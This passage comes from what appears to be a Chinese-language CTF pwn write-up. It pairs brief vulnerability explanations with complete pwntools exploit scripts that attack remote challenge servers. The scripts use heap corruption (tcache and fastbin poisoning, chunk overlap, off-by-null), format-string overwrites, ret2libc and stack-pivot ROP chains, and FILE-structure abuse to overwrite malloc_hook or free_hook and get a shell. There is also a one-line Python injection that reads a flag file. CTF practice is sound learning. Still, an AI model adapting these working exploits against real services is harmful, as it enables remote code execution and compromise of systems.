23 | menu(3) |
24 | p.sendlineafter('index: ',str(index)) |
25 | def edit(index,content): |
26 | menu(4) |
27 | p.sendlineafter('index: ',str(index)) |
28 | p.sendafter('content: ',content) |
29 | p = process('./main') |
30 | p = remote('122.112.204.227',6666) |
31 | libc =ELF('./libc-2.27.so') |
32 | for i in range(7): |
33 | new(3,0x1E0,'FMYY\n') |
34 | for i in range(7): |
35 | free(i) |
36 | for i in range(7): |
37 | new(3,0x170,'FMYY\n') |
38 | for i in range(7): |
39 | free(i) |
40 | new(3,0x68,'FMYY\n') |
41 | new(3,0x108,'FMYY\n') |
42 | new(3,0x68,'FMYY\n') #2 |
43 | new(3,0x68,'FMYY\n') #3 |
44 | new(3,0x68,'FMYY\n') #4 |
45 | new(1,0x500,'FMYY\n') #5 |
46 | new(3,0x68,'FMYY\n') #6 |
47 | edit(0,'\x00'*0x68 + '\xF1') |
48 | free(1) |
49 | new(3,0x108,'FMYY\n')#1 |
50 | new(3,0x68,'FMYY\n') #7 |
51 | free(5) |
52 | show(3) |
53 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70 |
54 | log.info('LIBC:\t' + hex(libc_base)) |
55 | p.recv(2) |
56 | heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x28D0 - 0x130 |
57 | log.info('HEAP:\t' + hex(heap_base)) |
58 | new(3,0x68,'FMYY\n') #8 |
59 | free(2) |
60 | free(4) |
61 | free(7) |
62 | IO_list_all = libc_base + libc.sym['_IO_list_all'] |
63 | IO_str_jumps = libc_base + 0x3E8360 |
64 | fake_IO_FILE = p64(0) + p64(0) |
65 | fake_IO_FILE += p64(0) + p64(0) |
66 | fake_IO_FILE += p64(0) + p64(1) |
67 | fake_IO_FILE += p64(0) + p64(heap_base + 0x2790 - 0xA0 + 0x130) |
68 | fake_IO_FILE = fake_IO_FILE.ljust(0xD8,'\x00') |
69 | fake_IO_FILE += p64(IO_str_jumps - 8) |
70 | fake_IO_FILE += p64(0) + p64(libc_base + libc.sym['setcontext'] + 53) |
71 | |
72 | pop_rdi_ret = libc_base + 0x000000000002155F |
73 | pop_rdx_ret = libc_base + 0x0000000000001B96 |
74 | pop_rax_ret = libc_base + 0x0000000000043A78 |
75 | pop_rsi_ret = libc_base + 0x0000000000023E8A |
76 | syscall = libc_base + libc.sym['syscall'] |
77 | ret = libc_base + 0x00000000000008AA |
78 | Open = libc_base + libc.sym['open'] |
79 | Read = libc_base + libc.sym['read'] |
80 | Puts = libc_base + libc.sym['puts'] |
81 | FLAG = heap_base + 0x2870 + 0x130 |
82 | |
83 | orw = p64(pop_rdi_ret) + p64(FLAG) |
84 | orw += p64(pop_rsi_ret) + p64(0) |
85 | orw += p64(Open) |
86 | orw += p64(pop_rdi_ret) + p64(3) |
87 | orw += p64(pop_rsi_ret) + p64(heap_base + 0x2000 + 0x130) |
88 | orw += p64(pop_rdx_ret) + p64(0x30) |
89 | orw += p64(Read) |
90 | orw += p64(pop_rdi_ret) + p64(heap_base + 0x2000 + 0x130) |
91 | orw += p64(Puts) |
92 | new(3,0x68,p64(libc_base + libc.sym['_IO_list_all'] -0x23) + '\n') #2 |
93 | new(3,0x68,'./flag\x00\x00\n') #4 |
94 | new(3,0x68,p64(heap_base + 0x29D0 + 0x130) + p64(ret) + '\n') #7 |
95 | new(3,0x68,'\x00'*0x13 + p64(heap_base + 0x28E0 + 0x130) + '\n') #9 |
96 | new(3,0x180,fake_IO_FILE + orw + '\n') |
97 | menu(5) |
98 | p.interactive() |
case 2中溢出修改 rbp的末尾字节 然后退出程序可以有概率调用 start函数,此时m为4,故第二次回到主函数的时候可以在case 2溢出到ret_address,修改ret_address为set rdi=0x100 然后进入leave_message的地址,注意第二次溢出的rbp值需要保存有一个可写的地址,进入后则是一个简单的ret2libc
1 | from pwn import* |
2 | p = process('./main') |
3 | p = remote('123.56.170.202',21342) |
4 | elf =ELF('./main') |
5 | libc =ELF('./libc-2.27.so') |
6 | def menu(ch): |
7 | p.sendlineafter('choice: ',str(ch)) |
8 | menu(2) |
9 | p.sendafter('message:','FMYYFMYY' + '\x68') |
10 | menu(4) |
11 | menu(2) |
12 | p.sendafter('message:','FMYYFMYY' + p64(elf.bss() + 0x200) + p32(0x40098E)) |
13 | pop_rdi_ret = 0x400AC3 |
14 | p.sendafter('message:','FMYYFMYY' + p64(elf.bss() + 0x200) + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40098E)) |
15 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['puts'] |
16 | system = libc_base + libc.sym['system'] |
17 | binsh = libc_base + libc.search('/bin/sh').next() |
18 | |
19 | log.info('LIBC:\t' + hex(libc_base)) |
20 | p.sendafter('message:','FMYYFMYY' + p64(elf.bss() + 0x200) + p64(pop_rdi_ret) + p64(binsh) + p64(system)) |
21 | p.interactive() |
一个简单的格式化字符串,leak了stack地址之后就是对上面的地址进行一个返回地址和保存的rbp进行一个修改,通过抬栈 执行 one_gadget
1 | from pwn import* |
2 | p = process('./main') |
3 | p = remote('123.56.170.202',12124) |
4 | libc = ELF('./libc-2.27.so') |
5 | p.sendlineafter('>>> ','Hey Siri!') |
6 | offset = 14 |
7 | p.sendlineafter('>>> ','Remind me to ' + 'BBBBAAAAAAAAStack:%46$pLIBC:%83$pPROC:%47$pCanary:%45$p') |
8 | p.recvuntil('Stack:') |
9 | stack = int(p.recv(14),16) - 288 |
10 | log.info('Stack:\t' + hex(stack)) |
11 | p.recvuntil('LIBC:') |
12 | libc_base = int(p.recv(14),16) - 231 - libc.sym['__libc_start_main'] |
13 | log.info('LIBC:\t' + hex(libc_base)) |
14 | p.recvuntil('PROC:') |
15 | proc_base = int(p.recv(14),16) - 0x144C |
16 | log.info('Proc:\t' + hex(proc_base)) |
17 | p.recvuntil('Canary:') |
18 | canary = int(p.recv(18),16) |
19 | log.info('Canary:\t' + hex(canary)) |
20 | pop_rdi_ret = proc_base + 0x0152B |
21 | leave_ret = proc_base + 0x12E2 |
22 | rce = libc_base + 0x10A45C |
23 | open_sys = libc_base + libc.sym['open'] |
24 | read_sys = libc_base + libc.sym['read'] |
25 | puts = libc_base + libc.sym['puts'] |
26 | |
27 | p.sendlineafter('>>> ','Hey Siri!') |
28 | off_1 = (((stack + 0x50)&0xFFFF)) |
29 | off_2 = (leave_ret&0xFFFF) |
30 | #gdb.attach(p,'b *0x5555555552A2') |
31 | if off_1 > off_2: |
32 | payload = 'Remind me to ' + '%' + str((off_2 - 27)) + 'c%55$hn' + '%' + str((off_1 - off_2)) + 'c%56$hn' |
33 | payload = payload.ljust(0x38,'\x00') |
34 | payload += p64(stack + 8) + p64(stack) |
35 | payload += p64(rce) |
36 | else: |
37 | payload = 'Remind me to ' + '%' + str((off_1 - 27)) + 'c%55$hn' + '%' + str((off_2 - off_1)) + 'c%56$hn' |
38 | payload = payload.ljust(0x38,'\x00') |
39 | payload += p64(stack) + p64(stack + 8) |
40 | payload += p64(rce) |
41 | p.sendlineafter('>>> ',payload) |
42 | p.interactive() |
如果top_chunk的size 不够申请的大小,就会另外开辟一个top_chunk,将原先top_chunk扔进unsorted bin,切割后拿到libc_base,在case 5有个read(0,0x4040A0,8);往栈上写一个地址,然乎case 2没有对 index 索引进行一个 检测 越界修改这个地址里面的内容,即可将malloc_hook写为rce
1 | from pwn import* |
2 | context.log_level ='DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('>> ',str(ch)) |
5 | def new(): |
6 | menu(1) |
7 | def edit(index,name): |
8 | menu(2) |
9 | p.sendlineafter('idx >>',str(index)) |
10 | p.sendafter('movie name >> ',name) |
11 | def large(): |
12 | menu(3) |
13 | def show(): |
14 | menu(4) |
15 | def leave(say): |
16 | menu(5) |
17 | p.sendafter('QAQ\n',say) |
18 | p = process('./main') |
19 | p = remote('123.56.170.202',52114) |
20 | libc =ELF('./libc-2.27.so') |
21 | new() |
22 | edit(0,p64(0) + p64(0xD41)) |
23 | large() |
24 | new() |
25 | show() |
26 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] -0x10 - 1632 |
27 | log.info('LIBC:\t' + hex(libc_base)) |
28 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
29 | rce = libc_base + 0x10A45C |
30 | leave(p64(malloc_hook - 0x60)) |
31 | edit(8,p64(rce)) |
32 | new() |
33 | p.interactive() |
因为在regset中 strcpy 可以导致堆溢出修改下一个块的size,则可构造 chunk overlap,然后往malloc_hook中写入rce
1 | from pwn import* |
2 | #context.log_level ='DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('>> ',str(ch)) |
5 | def new(index,size): |
6 | menu(1) |
7 | p.sendlineafter('index:',str(index)) |
8 | p.sendlineafter('size:',str(size)) |
9 | def show(index): |
10 | menu(2) |
11 | p.sendlineafter('index:',str(index)) |
12 | def free(index): |
13 | menu(3) |
14 | p.sendlineafter('index:',str(index)) |
15 | def edit(index,content): |
16 | menu(4) |
17 | p.sendlineafter('index:',str(index)) |
18 | p.sendafter('note:',content) |
19 | def Set(name,motto,age): |
20 | p.sendafter('name:',name) |
21 | p.sendafter('motto:',motto) |
22 | p.sendlineafter('age:',str(age)) |
23 | def check(): |
24 | menu(6) |
25 | p = process('./main') |
26 | libc =ELF('./libc-2.23.so') |
27 | p = remote('123.56.170.202',43121) |
28 | Set('FMYY','FAQ',0x21) |
29 | new(0,0x100) |
30 | new(1,0x18) |
31 | new(2,0x60) |
32 | new(3,0x60) |
33 | new(4,0x60) |
34 | free(0) |
35 | new(0,0x100) |
36 | show(0) |
37 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x10 - 88 - libc.sym['__malloc_hook'] |
38 | log.info('LIBC:\t' + hex(libc_base)) |
39 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
40 | rce= libc_base + 0xF1207 |
41 | free(0) |
42 | free(1) |
43 | menu(5) |
44 | Set('U'*0x18,'FAQ',0xE1) |
45 | free(2) |
46 | new(0,0x60) |
47 | new(1,0x60) # 1 = 3 |
48 | free(1) |
49 | free(0) |
50 | free(3) |
51 | new(3,0x60) |
52 | edit(3,p64(malloc_hook - 0x23)) |
53 | new(0,0x60) |
54 | new(5,0x60) |
55 | new(1,0x60) |
56 | edit(1,'\x00'*0x13 + p64(rce)) |
57 | free(0) |
58 | new(0,0x60) |
59 | p.interactive() |
首先一个off by null 可以构造一个堆块重叠,然后爆破半个字节并利用unsorted bin attack 攻击 global_max_fast,之后则是一个 free对应大小的块 越界后覆盖stdout的read_end 和 write_ptr指针,并令覆盖的内容相同 即可 leak libc_base,之后则是一个攻击 malloc_hook写入rce的ez操作
1 | from pwn import* |
2 | #context.log_level ='DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('Your choice:',str(ch)) |
5 | def new(size): |
6 | menu(1) |
7 | p.sendlineafter('size:',str(size)) |
8 | def edit(index,content): |
9 | menu(2) |
10 | p.sendlineafter('idx:',str(index)) |
11 | p.sendafter('content:',content) |
12 | def free(index): |
13 | menu(3) |
14 | p.sendlineafter('idx:',str(index)) |
15 | def F(index): |
16 | sleep(0.05) |
17 | p.sendline('3') |
18 | sleep(0.05) |
19 | p.sendline(str(index)) |
20 | def E(index,content): |
21 | sleep(0.05) |
22 | p.sendline('2') |
23 | sleep(0.05) |
24 | p.sendline(str(index)) |
25 | sleep(0.05) |
26 | p.send(content) |
27 | |
28 | while True: |
29 | p = process('./main') |
30 | libc =ELF('./libc-2.23.so') |
31 | #p = remote('39.101.184.181',10000) |
32 | try: |
33 | new(0x18)#0 |
34 | new(0x2F8) #1 |
35 | new(0x2F8) #2 |
36 | new(0x380) #3 |
37 | new(0x380) #4 |
38 | new(0x380) #5 |
39 | new(0x380) #6 |
40 | new(0x380) #7 |
41 | edit(7,(p64(0) + p64(0x21))*0x38) |
42 | new(0x18) #8 |
43 | free(0) |
44 | edit(1,'\x00'*0x2F0 + p64(0x320)) |
45 | free(2) |
46 | #################### |
47 | new(0x18) #0 |
48 | new(0x78) #2 |
49 | new(0x78) #9 |
50 | new(0xF8) #10 |
51 | new(0x88) #11 |
52 | new(0x68) #12 |
53 | new(0x2F8) #13 |
54 | |
55 | free(2) |
56 | edit(9,'\x00'*0x70 + p64(0x100)) |
57 | free(10) |
58 | new(0x78) #2 |
59 | new(0x78) #10 = 9 |
60 | new(0xF8) #14 |
61 | |
62 | |
63 | free(2) |
64 | edit(1,p64(0) + '\xE8\x37\n') |
65 | new(0x70) |
66 | edit(1,'\x00'*0x78 + p64(0x1631) + '\n') |
67 | free(9) |
68 | |
69 | E(1,'\x00'*0x78 + p64(0x1651) + '\n') |
70 | F(10) |
71 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 131 - libc.sym['_IO_2_1_stdout_'] |
72 | log.info('LIBC:\t' + hex(libc_base)) |
73 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
74 | rce = libc_base + 0xF0364 |
75 | free(12) |
76 | edit(1,'\x00'*0x288 + p64(0x71) + p64(malloc_hook - 0x23) + '\n') |
77 | new(0x60) #9 |
78 | new(0x60) #10 |
79 | edit(10,'\x00'*0x13 + p64(rce) + '\n') |
80 | new(0x10) |
81 | break |
82 | except: |
83 | p.close() |
84 | continue |
85 | p.interactive() |
审计一下给的源文件即可知道,在mmap_edit中因为 < 和 > 符号搞错了,导致越界,往一个地址写入一个64位长的整型变量,此时只需要leak libc,然后计算出此偏移,因为mmap_edit时的指针类型为int类型,所以 需要之前 offset>>2 才是正确的offset,之后就是往free_hook写入一个system,free(‘/bin/sh’)即可getshell
1 | from pwn import* |
2 | context.log_level ='DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('Your choice:',str(ch)) |
5 | def new(index,size): |
6 | menu(1) |
7 | p.sendlineafter('Index: ',str(index)) |
8 | p.sendlineafter('Size: ',str(size)) |
9 | def edit(index,content): |
10 | menu(2) |
11 | p.sendlineafter('Index: ',str(index)) |
12 | p.sendafter('Content: ',content) |
13 | def show(index): |
14 | menu(3) |
15 | p.sendlineafter('Index: ',str(index)) |
16 | def free(index): |
17 | menu(4) |
18 | p.sendlineafter('Index: ',str(index)) |
19 | def m_new(index): |
20 | menu(6) |
21 | p.sendlineafter('start: ',str(index)) |
22 | def m_edit(index,value): |
23 | menu(7) |
24 | p.sendlineafter('Index: ',str(index)) |
25 | p.sendlineafter('Value: ',str(value)) |
26 | def m_free(): |
27 | menu(8) |
28 | p = process('./main') |
29 | libc =ELF('./libc-2.27.so') |
30 | p = remote('106.14.214.3',2333) |
31 | for i in range(8): |
32 | new(i,0x100) |
33 | for i in range(8): |
34 | free(7 - i) |
35 | for i in range(7): |
36 | new(i + 1,0x100) |
37 | |
38 | show(1) |
39 | p.recvuntil('Content: ') |
40 | heap_base = u32(p.recv(4)) - 0x380 |
41 | log.info('HEAP:\t' + hex(heap_base)) |
42 | |
43 | new(0,0x78) |
44 | new(8,0x78) |
45 | edit(1,'/bin/sh\n') |
46 | show(0) |
47 | libc_base = u32(p.recvuntil('\xF7')[-4:]) - libc.sym['__malloc_hook'] - 0xD8 |
48 | system = libc_base + libc.sym['system'] |
49 | free_hook = libc_base + libc.sym['__free_hook'] |
50 | log.info('LIBC:\t' + hex(libc_base)) |
51 | rce = libc_base + 0x3D130 |
52 | m_new(0) |
53 | address = ((free_hook - 0xE0000000)>>2) |
54 | m_edit(address,system) |
55 | free(1) |
56 | |
57 | p.interactive() |
向上溢出,修改chunk的size,然后导致了堆块重叠,利用tcache dup把readdir保存有目录文件名称的附近的块申请下来,然后在向上溢出修改一下此块的size和next_chunk的prevsize和size域,再将此块放进unsorted bin中,则在closefile的选项中即可leak 出libc,之后则是简单的攻击 free_hook,往hook中写一个rce或者system的地址即可
1 | from pwn import* |
2 | context.log_level = 'DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('Your choice: ',str(ch)) |
5 | def new(index,size): |
6 | menu(1) |
7 | p.sendlineafter('Index:',str(index)) |
8 | p.sendlineafter('Size: ',str(size)) |
9 | def edit(index,offset,size,content): |
10 | menu(2) |
11 | p.sendlineafter('Index: ',str(index)) |
12 | p.sendlineafter('Offset: ',str(offset)) |
13 | p.sendlineafter('Size: ',str(size)) |
14 | p.sendafter('Content: ',content) |
15 | def free(index): |
16 | menu(3) |
17 | p.sendlineafter('Index: ',str(index)) |
18 | def openfile(): |
19 | menu(4) |
20 | def closefile(): |
21 | menu(5) |
22 | while True: |
23 | p = process('./main') |
24 | libc =ELF('./libc-2.27.so.bak') |
25 | p = remote('106.14.214.3',1912) |
26 | try: |
27 | for i in range(8): |
28 | new(i,0xF0) |
29 | openfile() |
30 | closefile() |
31 | #gdb.attach(p,'b *0x555555554D7E') |
32 | edit(0,-0x10,0x100,p64(0) + p64(0x501)) |
33 | free(0) |
34 | new(0,0xF0) |
35 | new(8,0xF0) |
36 | new(9,0xF0) |
37 | new(10,0xF0) |
38 | new(11,0xF0) |
39 | new(12,0xF0) |
40 | free(5) |
41 | free(6) |
42 | edit(7,-0x100,0x100,'\xC0\xAA') |
43 | new(6,0xF0) |
44 | new(5,0xF0) |
45 | free(7) |
46 | free(6) |
47 | free(4) |
48 | free(3) |
49 | free(2) |
50 | free(1) |
51 | free(0) |
52 | edit(12,-0x7FE8,0x7FE8,p64(0x101) + 'FMYY' + '\x00'*(0xF0-4) + p64(0x100) + p64(0x21) + '\x00'*0x18 + p64(0x21)) |
53 | free(5) |
54 | edit(12,-0x7FF0,0x7FF8,'F'*0x10) |
55 | menu(5) |
56 | libc_base = u64(p.recvuntil('\x7F',timeout=0.2)[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x10 - 0x60 |
57 | log.info('LIBC:\t' + hex(libc_base)) |
58 | free_hook = libc_base + libc.sym['__free_hook'] |
59 | system = libc_base + libc.sym['system'] |
60 | new(7,0xF0) |
61 | free(8) |
62 | new(0,0xF0) |
63 | edit(0,0,0x10,p64(free_hook)) |
64 | new(8,0xF0) |
65 | edit(8,0,0x10,'/bin/sh\x00') |
66 | new(1,0xF0) |
67 | edit(1,0,0x10,p64(system)) |
68 | free(8) |
69 | break |
70 | except: |
71 | p.close() |
72 | continue |
73 | p.interactive() |
1 | strings filename -n 1 | tr -d '\n' |
2 | #flag{65e02f26-0d6e-463f-bc63-2df733e47fbe} |
非预期吧,python的input函数是个漏洞函数,直接导致rce
1 | __import__('os').system('cat /home/ctf/flag') |
因为单字节溢出,所以构造一个chunk overlap 即可,首先用IO_2_1_stdout 泄漏 libc地址,然乎一个double free 打 malloc_hook
1 | from pwn import* |
2 | context.log_level ='DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('>>>',str(ch)) |
5 | def new(index,size,content): |
6 | menu(1) |
7 | p.sendlineafter('idx:',str(index)) |
8 | p.sendlineafter('len:',str(size)) |
9 | p.sendafter('content:',content) |
10 | def free(index): |
11 | menu(2) |
12 | p.sendlineafter('idx:',str(index)) |
13 | p = process('./main') |
14 | p = remote('101.200.53.148',34521) |
15 | libc =ELF('./libc-2.23.so.bak') |
16 | new(0,0x18,'FMYY') |
17 | new(1,0xF8,'FMYY') |
18 | new(2,0x48,'FMYY') |
19 | new(3,0x88,'FMYY') |
20 | new(4,0xF8,'FMYY') |
21 | new(5,0x18,'FMYY') |
22 | free(0) |
23 | new(0,0x18,'\x00'*0x18 + '\xE1') |
24 | free(1) |
25 | new(1,0xF8,'FMYY') |
26 | new(2,0x48,'FMYY') |
27 | new(6,0x88,'\x00'*0x68 + p64(0x121)) |
28 | free(2) |
29 | new(2,0x48,'\x00'*0x48 + '\x71') |
30 | free(3) |
31 | free(2) |
32 | new(2,0x48,'\x00'*0x48 + '\x91') |
33 | free(6) |
34 | new(7,0x18,'\xDD\x25') |
35 | free(2) |
36 | new(2,0x48,'\x00'*0x48 + '\x71') |
37 | new(8,0x68,'FMYY') |
38 | new(9,0x68,'\x00'*0x33 + p64(0xFBAD1800) + p64(0)*3 + '\x88') |
39 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_'] |
40 | log.info('LIBC:\t' + hex(libc_base)) |
41 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
42 | rce = libc_base + 0xF1207 |
43 | new(15,0x68,'FMYY') |
44 | free(15) |
45 | free(8) |
46 | new(8,0x68,'\x00'*0x18 + p64(0x71) + p64(malloc_hook - 0x23)) |
47 | new(14,0x68,'FMYY') |
48 | new(15,0x68,'\x00'*0x13 + p64(rce)) |
49 | menu(1) |
50 | p.sendlineafter('idx:',str(10)) |
51 | p.sendlineafter('len:',str(0x10)) |
52 | p.interactive() |
1 | ''' |
2 | @ ptr += 1 |
3 | # ptr -= 1 |
4 | ^ *ptr += 1 |
5 | | *ptr -= 1 |
6 | & write(1,ptr,1) |
7 | $ read(0,ptr,1) |
8 | * (*ptr)<<2 |
9 | ~ ~(*ptr) |
10 | { be similar to while |
11 | } |
12 | ''' |
逆出后为上述代码
因为输入N结束的时候,会检测最开始的那个存放字符串的指针,所以我们需要修复,而又因为修复后的指针指向的位置如果有合法的指令,则会继续执行该指令 会导致越界从而被检测,所以在leak了stack之后,还需要一顿操作对原string的位置的字符串 修改为不合法的置令,我此处修改的为 ‘\x01’0x10,之后可以通过 输入N后的检测,然后 rsp+0x4E8 + ‘pop’6 之后的地址则为返回地址,所以同样修改指针末字节然乎往ret地址填一个rop,记得再次修复指针指向原位置
1 | from pwn import* |
2 | p = process('./main') |
3 | #context.log_level ='DEBUG' |
4 | payload = '${@$}@$' |
5 | payload = payload.replace('\n','') |
6 | p = remote('101.200.53.148',15324) |
7 | p.sendlineafter('enter your code:',payload) |
8 | for i in range(0x400): |
9 | p.send('\xFF') |
10 | p.send('\x10') |
11 | stack = u64(p.recvuntil('\x7F',timeout=0.2)[-6:].ljust(8,'\x00')) |
12 | log.info('Stack:\t' + hex(stack)) |
13 | p.send('Y') |
14 | p.sendlineafter('enter your code:','F'*0x10 + '\x08' + '\x01'*0x10) |
15 | p.send('Y') |
16 | |
17 | p.sendlineafter('enter your code:','F'*0x8 + '\x78') |
18 | p.send('Y') |
19 | p.sendlineafter('enter your code:','F'*0x10 + '\x48') |
20 | p.send('Y') |
21 | |
22 | target_FLAG = stack + 0x138 |
23 | mov_rax_1 = 0x524300 |
24 | mov_rax_2 = 0x524310 |
25 | mov_rax_rsi = 0x417427 |
26 | pop_rdi_ret = 0x4047BA |
27 | pop_rsi_ret = 0x407578 |
28 | pop_rdx_ret = 0x40437F |
29 | pop_rsp_ret = 0x405831 |
30 | syscall = 0x52A725 |
31 | rop = '\x00'*0x30 |
32 | rop += p64(pop_rdi_ret) + p64(target_FLAG) |
33 | rop += p64(pop_rsi_ret) + p64(0) |
34 | rop += p64(pop_rdx_ret) + p64(0) |
35 | rop += p64(mov_rax_2) |
36 | rop += p64(syscall) |
37 | rop += p64(pop_rdi_ret) + p64(3) |
38 | rop += p64(pop_rsi_ret) + p64(0) |
39 | rop += p64(mov_rax_rsi) |
40 | rop += p64(pop_rsi_ret) + p64(0x5D9B00) |
41 | rop += p64(pop_rdx_ret) + p64(0x30) |
42 | rop += p64(syscall) |
43 | rop += p64(pop_rdi_ret) + p64(1) |
44 | rop += p64(pop_rsi_ret) + p64(0x5D9B00) |
45 | rop += p64(pop_rdx_ret) + p64(0x30) |
46 | rop += p64(mov_rax_1) |
47 | rop += p64(syscall) |
48 | rop += './flag\x00' |
49 | |
50 | p.sendlineafter('enter your code:',rop) |
51 | p.send('Y') |
52 | p.sendlineafter('enter your code:',payload) |
53 | for i in range(0x400): |
54 | p.send('\x20') |
55 | p.send('\x20') |
56 | p.send('N') |
57 | p.interactive() |
58 | |
59 | |
60 | ''' |
61 | @ ptr += 1 |
62 | # ptr -= 1 |
63 | ^ *ptr += 1 |
64 | | *ptr -= 1 |
65 | & write(1,ptr,1) |
66 | $ read(0,ptr,1) |
67 | * (*ptr)<<2 |
68 | ~ ~(*ptr) |
69 | { be similar to while |
70 | } |
71 | ''' |
一个UAF洞,没有leak则利用stdout leak libc,之后打malloc_hook即可
1 | from pwn import* |
2 | context.log_level ='DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('>> ',str(ch)) |
5 | def new(size): |
6 | menu(1) |
7 | p.sendlineafter('question','80') |
8 | p.sendlineafter('______?',str(size)) |
9 | p.sendlineafter('yes_or_no?','FMYY') |
10 | def free(index): |
11 | menu(2) |
12 | p.sendlineafter('index ?',str(index)) |
13 | def edit(index,content): |
14 | menu(4) |
15 | p.sendlineafter('index ?',str(index)) |
16 | p.sendafter('__new_content ?',content) |
17 | while True: |
18 | p = process('./main') |
19 | p = remote('101.200.53.148',15423) |
20 | libc =ELF('./libc-2.23.so') |
21 | try: |
22 | new(0x80) #0 |
23 | new(0x60) #1 |
24 | new(0x60) #2 |
25 | new(0x20) #3 |
26 | new(0x60) #4 |
27 | new(0x60) #5 |
28 | new(0x20) #6 |
29 | free(0) |
30 | new(0x18) #7 |
31 | new(0x60) #8 |
32 | free(1) |
33 | free(2) |
34 | edit(2,'\x20') |
35 | edit(8,'\xDD\x25') |
36 | new(0x60) #9 |
37 | new(0x60) #10 |
38 | new(0x60) #11 |
39 | edit(11,'\x00'*0x33 + p64(0xFBAD1800) + p64(0)*3 + '\x88') |
40 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_'] |
41 | log.info('LIBC:\t' + hex(libc_base)) |
42 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
43 | rce = libc_base + 0xf1207 |
44 | free(1) |
45 | edit(1,p64(malloc_hook - 0x23)) |
46 | new(0x60) #12 |
47 | new(0x60) #13 |
48 | edit(13,'\x00'*0x13 + p64(rce)) |
49 | free(1) |
50 | free(1) |
51 | break |
52 | except: |
53 | p.close() |
54 | continue |
55 | p.interactive() |
read没有0截断,所以puts打印出stack地址和canary值,然后第二轮修改rbp的值,用leave_ret栈迁移,此处是抬栈,然后执行上方布置的ROP链
1 | from pwn import* |
2 | context.log_level ='DEBUG' |
3 | p = process('./main') |
4 | p = remote('121.36.59.116',9999) |
5 | elf =ELF('./main') |
6 | libc =ELF('./libc-2.23.so') |
7 | pop_rdi_ret = 0x0000000000400923 |
8 | leave_ret = 0x0000000000400879 |
9 | payload = 'U'*0x55 + 'FMYY' |
10 | p.sendafter('>',payload) |
11 | p.recvuntil('FMYY') |
12 | canary = u64(p.recv(7).rjust(8,'\x00')) |
13 | stack = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) |
14 | log.info('Canary:\t' + hex(canary)) |
15 | log.info('Stack:\t' + hex(stack)) |
16 | payload = p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main']) |
17 | payload = payload.ljust(0x58,'\x00') |
18 | payload += p64(canary) + p64(stack - 0x78) + p64(leave_ret) |
19 | p.sendafter('>',payload) |
20 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['puts'] |
21 | log.info('LIBC:\t' + hex(libc_base)) |
22 | system = libc.sym['system'] + libc_base |
23 | binsh = libc.search('/bin/sh').next() + libc_base |
24 | rce = libc_base + 0x4526A |
25 | p.sendafter('>','FMYY') |
26 | payload = 'U'*0x58 + p64(canary) + 'U'*0x8 + p64(rce) |
27 | p.sendafter('>',payload) |
28 | p.interactive() |
给了源码,但是源码和远程编译出的文件不一样,简单的2.27下的double free
1 | |
2 | from pwn import* |
3 | context.log_level ='DEBUG' |
4 | def new(index): |
5 | p.sendlineafter('choice:','1') |
6 | p.sendlineafter('Index:',str(index)) |
7 | def edit(index,content): |
8 | p.sendlineafter('choice:','2') |
9 | p.sendlineafter('Index:',str(index)) |
10 | p.sendafter('Content:',content) |
11 | def show(index): |
12 | p.sendlineafter('choice:','3') |
13 | p.sendlineafter('Index:',str(index)) |
14 | def free(index): |
15 | p.sendlineafter('choice:','4') |
16 | p.sendlineafter('Index:',str(index)) |
17 | |
18 | p = process('./main') |
19 | p = remote('121.36.74.70',9999) |
20 | libc =ELF('./libc-2.27.so') |
21 | for i in range(7): |
22 | new(i) |
23 | new(7) |
24 | new(8) |
25 | for i in range(8): |
26 | free(i) |
27 | for i in range(7): |
28 | new(i) |
29 | new(7) |
30 | show(7) |
31 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x60 - 0x10 |
32 | log.info('LIBC:\t' + hex(libc_base)) |
33 | rce = libc_base + libc.sym['system'] |
34 | binsh = libc_base + libc.search('/bin/sh').next() |
35 | free_hook = libc_base + libc.sym['__free_hook'] |
36 | free(7) |
37 | |
38 | edit(7,p64(free_hook)) |
39 | new(8) |
40 | new(9) |
41 | edit(9,p64(rce)) |
42 | edit(0,'/bin/sh\x00') |
43 | free(0) |
44 | p.interactive() |
1 | $ qemu-arm -g 1234 -L . ./main |
2 | $ gdb > target remote localhost:1234 |
进行调试,漏洞堆溢出,最终是unlink实现任意写
1 | from pwn import* |
2 | context.log_level ='DEBUG' |
3 | def new(size,content): |
4 | p.sendlineafter('>>> ','2') |
5 | p.sendlineafter('Length:',str(size)) |
6 | p.sendafter('Tag:',content) |
7 | def show(): |
8 | p.sendlineafter('>>> ','1') |
9 | def edit(index,size,content): |
10 | p.sendlineafter('>>> ','3') |
11 | p.sendlineafter('Index:',str(index)) |
12 | p.sendlineafter('Length:',str(size)) |
13 | p.sendafter('Tag:',content) |
14 | def free(index): |
15 | p.sendlineafter('>>> ','4') |
16 | p.sendlineafter('Tag:',str(index)) |
